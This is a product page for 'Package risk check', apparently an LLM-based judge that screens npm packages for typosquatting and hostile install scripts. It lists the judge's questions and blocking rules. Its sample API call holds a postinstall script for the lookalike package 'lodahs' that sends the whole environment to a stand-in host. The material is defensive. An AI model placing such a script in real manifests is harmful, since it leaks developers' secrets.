Evally
Start free
Engineering

Package risk check

Catch typosquats and hostile install scripts before an install runs them.

One typo in an install command can pull in a lookalike package whose install script ships your environment variables to someone else. Give Jev the package name, what the registry says about it and its install scripts: it checks whether the name imitates a popular package, whether the scripts reach for the network, your secrets or files outside the package, and whether the code hides what it does. Run it in CI before dependencies install, or in front of an agent's install commands.

Use this judgeCustomize it

Try it live

Real calls to Jev. Pick an example or paste your own.

Examples
14
6
84
147
No verdict yet

Pick an example or paste your own input, then run it.

Under the hood

Every question and rule, in the open. Fork it to change any of them.

What it asks

Reads package, intended, metadata and scripts, then asks 7 questions in one call.

  1. Q1Imitates a known packageYes / no

    Is the package name a near-copy of a different, well-known package (a typo, swapped or doubled letters, an added or dropped hyphen, or a different scope), rather than that package itself?

  2. Q2Not what was meantYes / no

    Is the package a different package from the intended one? With no intended package given, answer no.

  3. Q3Install reaches the networkYes / no quotes evidence

    Do the scripts download or send anything over the network while installing (curl, wget, an HTTP request)? With no scripts, answer no.

  4. Q4Install reads secretsYes / no quotes evidence

    Do the scripts read environment variables, SSH keys, tokens, browser data or files outside the package's own folder? With no scripts, answer no.

  5. Q5Hides what it doesYes / no

    Do the scripts hide what they do, with encoded strings that get decoded and run, or deliberately unreadable code? With no scripts, answer no.

  6. Q6Thin track recordYes / no

    Do the metadata show warning signs: first published days ago, very few downloads, no source repository, or a publisher unrelated to the project it claims to be? With no metadata, answer no.

  7. Q7Risk of installingScore

    How dangerous would it be to install the package?

    1. 0Safe: a well-known package with ordinary install steps
    2. 1Unclear: little is known about it, but nothing looks hostile
    3. 2Suspicious: it imitates another package, or its install steps reach beyond the package
    4. 3Malicious: it looks built to steal data or run hostile code

How it decides

Rules run in code, top to bottom. The first one that matches gives the verdict.

  1. 1
    If Install reads secrets ≥ 0.7Block
  2. 2
    If Hides what it does ≥ 0.7Block
  3. 3
    If Risk of installing ≥ 2.4 of 3Block
  4. 4
    If Imitates a known package ≥ 0.75 and Install reaches the network ≥ 0.5Block
  5. 5
    If Imitates a known package ≥ 0.5Reviewreview
  6. 6
    If Not what was meant ≥ 0.6Reviewreview
  7. 7
    If Install reaches the network ≥ 0.6Reviewreview
  8. 8
    If Thin track record ≥ 0.6Reviewreview
  9. 9
    If Risk of installing ≥ 1.4 of 3Reviewreview
  10. ·
    DefaultAllow

Call it from your code

Every template runs as-is with an API key, no setup: POST /api/v1/judges/package-risk-check/run.

curl -X POST https://tryevally.com/api/v1/judges/package-risk-check/run \  -H "Authorization: Bearer $EVALLY_API_KEY" \  -H "Content-Type: application/json" \  -d '{  "input": {    "package": "lodahs@4.17.21",    "intended": "lodash",    "metadata": "First published 2 days ago by '\''lodash-dev-team'\''. 41 weekly downloads. No repository.",    "scripts": "\"postinstall\": \"node -e \\\"require('\''https'\'').get('\''https://cdn-npm.example.net/p?d='\'' + Buffer.from(JSON.stringify(process.env)).toString('\''base64'\''))\\\"\""  }}'

Seen in the wild

Community builds on Jev that use this pattern. Not affiliated with Evally.

More in Engineering